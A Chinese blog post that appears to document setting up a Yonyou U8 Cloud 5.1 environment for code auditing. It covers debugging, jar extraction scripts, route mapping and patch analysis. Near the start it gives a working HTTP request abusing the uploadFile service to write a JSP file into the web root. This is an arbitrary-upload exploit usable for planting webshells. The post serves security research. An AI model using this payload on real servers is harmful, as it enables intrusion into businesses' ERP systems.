前言 在配环境时踩了很多坑,尤其时调试的时候。这里把遇到的问题都记录一下,希望能给大家一点帮助。
安装 某鱼上收一个最新版本的就行,我收的是5.1的。收最新环境是为了之后挖洞,挖洞一般挑最新版本,这样挖到的洞适用性更广。以下说明均基于5.1版本。
收到的一般是一份数据库文件和一个安装包。我数据库用的是sql server 2016  数据库怎么初始化,收到的网盘里一般都会自带,再结合网上sql server的教程,应该能够自己解决。
这里建议把环境安装到虚拟机里,这样方便快照保存,同时以后换电脑也方便迁移。缺点是会多占用磁盘,而且还需要把各种lib从虚拟机里复制出来供远程调试使用。
注意,安装时的端口一定要选择一个不冲突的。
安装完成后,可以通过一个payload测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST  /service/esnserver  HTTP/1.1 Host :  127.0.0.1:8051Cache-Control :  max-age=0sec-ch-ua :  "Not A(Brand";v="8", "Chromium";v="132"sec-ch-ua-mobile :  ?0sec-ch-ua-platform :  "Windows"Accept-Language :  zh-CN,zh;q=0.9Upgrade-Insecure-Requests :  1User-Agent :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36Accept :  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Token :  469ce01522f64366750d1995ca119841Sec-Fetch-Site :  noneSec-Fetch-Mode :  navigateSec-Fetch-User :  ?1Sec-Fetch-Dest :  documentAccept-Encoding :  gzip, deflate, brCookie :  JSESSIONID=5AA7B7EB80F78BE269D5AEBE3ABE36FC.serverIf-None-Match :  W/"1215-1692092838000"If-Modified-Since :  Tue, 15 Aug 2023 09:47:18 GMTConnection :  keep-aliveContent-Type :  application/x-www-form-urlencodedContent-Length :  239{"invocationInfo" :{"ucode" :"123" ,"dataSource" :"U8cloud" ,"lang" :"en" },"method" :"uploadFile" ,"className" :"nc.itf.hr.tools.IFileTrans" ,"param" :{"p1" :"shelltext" ,"p2" :"webapps/u8c_web/test1234.jsp" },"paramType" :["p1:[B" ,"p2:java.lang.String" ]} 
 
这里会在/webapps/u8c_web/test1234.jsp创建一个空文件,如果能成功的话,说明环境没问题。
远程调试 这里就比较坑,我原本是在startup.bat里添加命令行参数,启动时控制台确实显示监听,且idea远程调试也能连接上。但是就是无法在断点处停下。后面问了Killer师傅才知道,原来不是在startup.bat里改,而是在”D:\U8CERP\ierp\bin\prop.xml”里修改:
当然,也可以直接复制启动参数,然后在cmd里加上调试参数去手动启动:
这一点真实非常坑,差点让我出师未捷身先死。
jar提取与反编译 业务相关jar包位于:
1、modules目录
2、external目录
3、framework目录
另外,我这里安装的是5.1版本,有很神奇的一点,我发现业务相关的jar修改日期都是2024/6/23,对上面的几个目录都适用。
大部分业务代码位于modules文件夹中,所以需要把里面的jar包全部提取出来再反编译,这样idea才能直接查找代码里的内容。
首先使用下面的脚本,将jar包全部拷贝出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @echo off setlocal enabledelayedexpansion rem Source and destination paths set "SRC=D:\U8CERP\modules" set "DEST=D:\U8CERP\moduleJars" rem Create destination directory if it does not exist if not exist "%DEST%" (     mkdir "%DEST%" ) rem Copy all .jar files echo Copying all .class files from %SRC% to %DEST% ... for /r "%SRC%" %%f in (*.jar) do (     set "rel=%%f"     set "rel=!rel:%SRC%=!"     set "rel=!rel:\=_!"     echo Copying: %%f     copy "%%f" "%DEST%\!rel!" >nul ) rem Copy all "classes" folders recursively rem echo Copying all "classes" folders from %SRC% to %DEST% ... rem for /r "%SRC%" %%d in (classes) do ( rem    if exist "%%d" ( rem        echo Copying folder: %%d rem        xcopy "%%d" "%DEST%\classes" /e /i /y >nul rem    ) rem ) echo All files copied successfully. pause 
 
现在有更好的方法。业务jar都是nc,u8c,com.yonyou开头的包名。可以写python脚本来筛选。然后再找到全部jar,从里面剔除之前找的业务jar,剩下的就是第三方jar了。
复制业务jar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import  osimport  zipfileimport  shutilimport  logginglogging.basicConfig(level=logging.INFO, format ='%(asctime)s - %(message)s' ) def  check_jar_conditions (jar_path ):    """检查 JAR 文件的第一层目录中是否包含 'nc'、'u8c' 或者 com/yonyou"""      try :         with  zipfile.ZipFile(jar_path, 'r' ) as  jar:             file_names = jar.namelist()             first_level_dirs = set ()                          for  file in  file_names:                 first_level = file.split('/' )[0 ]                 first_level_dirs.add(first_level)                          if  'nc'  in  first_level_dirs or  'u8c'  in  first_level_dirs:                 return  True              if  'com'  in  first_level_dirs:                                  for  file in  file_names:                     parts = file.split('/' )                     if  len (parts) >= 2  and  parts[0 ] == 'com'  and  parts[1 ] == 'yonyou' :                         return  True              return  False      except  Exception as  e:         logging.error(f"无法处理 JAR 文件 {jar_path} : {e} " )         return  False  def  copy_jar_files (source_dir, target_dir ):    """递归提取目录下的所有 JAR 包,并按 dir1_dir2_xxx.jar 格式重命名"""      if  not  os.path.exists(target_dir):         os.makedirs(target_dir)          for  root, dirs, files in  os.walk(source_dir):         for  file in  files:             if  file.endswith('.jar' ):                 jar_path = os.path.join(root, file)                                  if  check_jar_conditions(jar_path):                                          relative_path = os.path.relpath(root, source_dir)                     new_filename = relative_path.replace(os.sep, '_' ) + '_'  + file                     target_path = os.path.join(target_dir, new_filename)                                          counter = 1                      while  os.path.exists(target_path):                                                  name, ext = os.path.splitext(file)                         target_path = os.path.join(target_dir, f"{new_filename.split('.' )[0 ]} _{counter} {ext} " )                         counter += 1                                           shutil.copy(jar_path, target_path)                     logging.info(f"已复制符合条件的 JAR 文件: {jar_path}  -> {target_path} " ) if  __name__ == '__main__' :         source_directory = './'        target_directory = 'D:/U8CJars/ncJars'             copy_jar_files(source_directory, target_directory) 
 
复制第三方jar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import  osimport  shutilimport  zipfileimport  loggingimport  syslogging.basicConfig(level=logging.INFO, format ='%(asctime)s - %(message)s' ) def  check_first_level_for_nc_or_u8c_or_yonyou (jar_path ):    """检查 JAR 文件中的第一层目录是否包含 'nc' 或 'u8c' 文件夹"""      try :         with  zipfile.ZipFile(jar_path, 'r' ) as  jar:             file_names = jar.namelist()             first_level_dirs = set ()                          for  file in  file_names:                 first_level = file.split('/' )[0 ]                 first_level_dirs.add(first_level)                          if  'nc'  in  first_level_dirs or  'u8c'  in  first_level_dirs:                 return  True              if  'com'  in  first_level_dirs:                                  for  file in  file_names:                     parts = file.split('/' )                     if  len (parts) >= 2  and  parts[0 ] == 'com'  and  parts[1 ] == 'yonyou' :                         return  True              return  False      except  Exception as  e:         logging.error(f"无法处理 JAR 文件 {jar_path} : {e} " )         return  False  def  copy_jar_files (source_dir, target_dir ):    """递归复制所有 JAR 文件到目标目录,并按 dir1_dir2_xxx.jar 格式重命名"""      if  not  os.path.exists(target_dir):         os.makedirs(target_dir)     for  root, dirs, files in  os.walk(source_dir):         for  file in  files:             if  file.endswith('.jar' ):                 jar_path = os.path.join(root, file)                                  relative_path = os.path.relpath(root, source_dir)                 new_filename = relative_path.replace(os.sep, '_' ) + '_'  + file                 target_path = os.path.join(target_dir, new_filename)                                  if  not  os.path.exists(target_path):                     shutil.copy(jar_path, target_path)                     logging.info(f"已复制新的 JAR 文件: {jar_path}  -> {target_path} " )                 else :                     logging.info(f"文件已存在,跳过复制: {jar_path} " ) def  delete_invalid_jars (target_dir ):    """遍历目标目录的 JAR 文件,删除第一层目录包含 'nc' 或 'u8c' 文件夹的文件"""      for  root, dirs, files in  os.walk(target_dir):         for  file in  files:             if  file.endswith('.jar' ):                 jar_path = os.path.join(root, file)                                  if  check_first_level_for_nc_or_u8c_or_yonyou(jar_path):                     os.remove(jar_path)                     logging.info(f"已删除包含 'nc' 或 'u8c' 文件夹的 JAR 文件: {jar_path} " ) if  __name__ == '__main__' :                                       source_directory = "./"      target_directory = "D:/U8CJars/otherJars"           copy_jar_files(source_directory, target_directory)          delete_invalid_jars(target_directory) 
 
接着,将所有业务jar压缩成一个zip,丢进jd-gui进行反编译。旁边显示jar包说明正常,左上角file,选择save all source即可:
反编译结束后,解压,添加为idea代码源即可。
库文件添加 更新一下方法,用上面的jar提取方法就行了。
下面的是老方法,不过对于提取xml,upm等文件还是很方便的。
u8cloud里需要添加的库文件很多,包括external,framework,lib,langlib,middleware,modules,nmc等文件夹。而且有些文件夹不是直接添加就好了,你还得一层层打开,然后添加里面的lib目录,很是麻烦。
所以这里我让AI帮我写了脚本,把所有.jar和classes目录都复制到了一个文件夹下,这样直接添加就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @echo off setlocal enabledelayedexpansion rem Source and destination paths set "SRC=D:\U8CERP" set "DEST=D:\U8CERP\alllibs" rem Create destination directory if it does not exist if not exist "%DEST%" (     mkdir "%DEST%" ) rem Copy all .jar files echo Copying all .jar files from %SRC% to %DEST% ... for /r "%SRC%" %%f in (*.jar) do (     echo Copying: %%f     copy "%%f" "%DEST%" >nul ) rem Copy all "classes" folders recursively echo Copying all "classes" folders from %SRC% to %DEST% ... for /r "%SRC%" %%d in (classes) do (     if exist "%%d" (         echo Copying folder: %%d         xcopy "%%d" "%DEST%\classes" /e /i /y >nul     ) ) echo All files copied successfully. pause 
 
也可以直接修改后缀,这样就能复制.xml等文件到一起。
但是这样有一个问题,就是你在idea里调试,想要查看这个jar是属于哪个文件夹时,就需要复制jar包名称,然后通过everything等工具查找,找到对应的位置。(其实可以复制的时候,将jar命名成dir1_dir2_xxx.jar形式)
不过你也可以让AI写另一个脚本,让它把各个文件夹里的jar包写成idea中xml的格式。因为idea的库实际上是以xml的形式存储的:
不过个人觉得还是第一种更方便。
最后记得在模块-依赖里把刚刚添加的库勾选上,不然全局搜索会搜不到:
部分路由映射关系 webapps/u8c_web/web.xml 里有一部分servlet映射。
/u8cloud/api/*,/u8cloud/openapi/*等都走nc.bs.framework.server.extsys.ExtSystemInvokerServlet:
openapi的映射关系在”D:\U8CERP\api\config”
u8cloud里的一部分路由,是通过InvokerServlet的方式来动态加载的。这是web.xml里决定的:
而怎么Invoke具体的Servlet,这是由配置文件决定的”D:\U8CERP\modules\uap\META-INF”,这里面所有的.upm记录了映射关系:
可以用上面的脚本把所有的upm文件复制到一起。
也可以在这里打断点:
然后访问/service/esnserver
然后运行表达式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ComponentMeta[] componentMetas = publicRepo.getComponentMetas(); HashMap<Object, Object> hashMap = new  HashMap <>(); for  (int  i  =  0 ; i < publicRepo.getCount(); i++) {    try {         String  name  =  componentMetas[i].getName();         ComponentMeta  meta  =  componentMetas[i];         Instantiator  raw  =  ((ComponentMetaImpl) meta).getRawInstantiator();         Field  f  =  raw.getClass().getDeclaredField("implementation" );         f.setAccessible(true );         Class  o  =  (Class) f.get(raw);         String  clazzName  =  o.getName();         hashMap.put(name, clazzName);     }catch  (Exception e) {     } } String  filePath  =  "D:/U8CERP/map_output.txt" ;try  {    BufferedWriter  writer  =  new  BufferedWriter (new  FileWriter (filePath));     for  (Map.Entry<Object, Object> entry : hashMap.entrySet()) {         writer.write("urlName-/service/" +entry.getKey() + ": className-"  + entry.getValue());         writer.newLine();      } }catch  (Exception e) { } 
 
这样就能把url和class的映射关系全都打印出来了。
部分urlName可能需要写成/service/uap/xxx的形式。取决于component有没有name。像这种没有name的就需要加上uap:
可以直接到我的仓库下载:
MyJavaSecStudy/CodeAudit/用友U8cloud at main · 1diot9/MyJavaSecStudy 
/ServiceDispatcherServlet,能够调用任意service的任意public方法。service的名字从upm文件里找,是interface标签里的。
补丁分析 去官网能搜索到补丁:https://security.yonyou.com/#/patchList 
补丁一般是这样的目录结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |   installpatch.xml |   packmetadata.xml |   readme.txt | \---replacement     +---external     |   \---classes     |       \---nc     |           \---bs     |               \---framework     |                   \---server     |                       \---token     |                               TokenUtil$TokenUtilHolder.class     |                               TokenUtil.class     |     +---ierp     |   \---bin     |       \---token     |               trustServiceList.conf     |     \---modules         \---hrpub             \---META-INF                 \---classes                     \---nc                         \---impl                             \---hr                                 \---tools                                     \---trans                                             FileTransImpl.class 
 
位于classes和META-INF中的.class文件优先级更高,这样web应用启动时就会选择最新的类,从而打上补丁。
ierp里都是配置文件,比如白名单之类的。
https://www.yyu8c.com/#/u8chelp/solution/b5a47b67759a100c2a7140d00266b530 
可以通过这个工具去自动安装所有补丁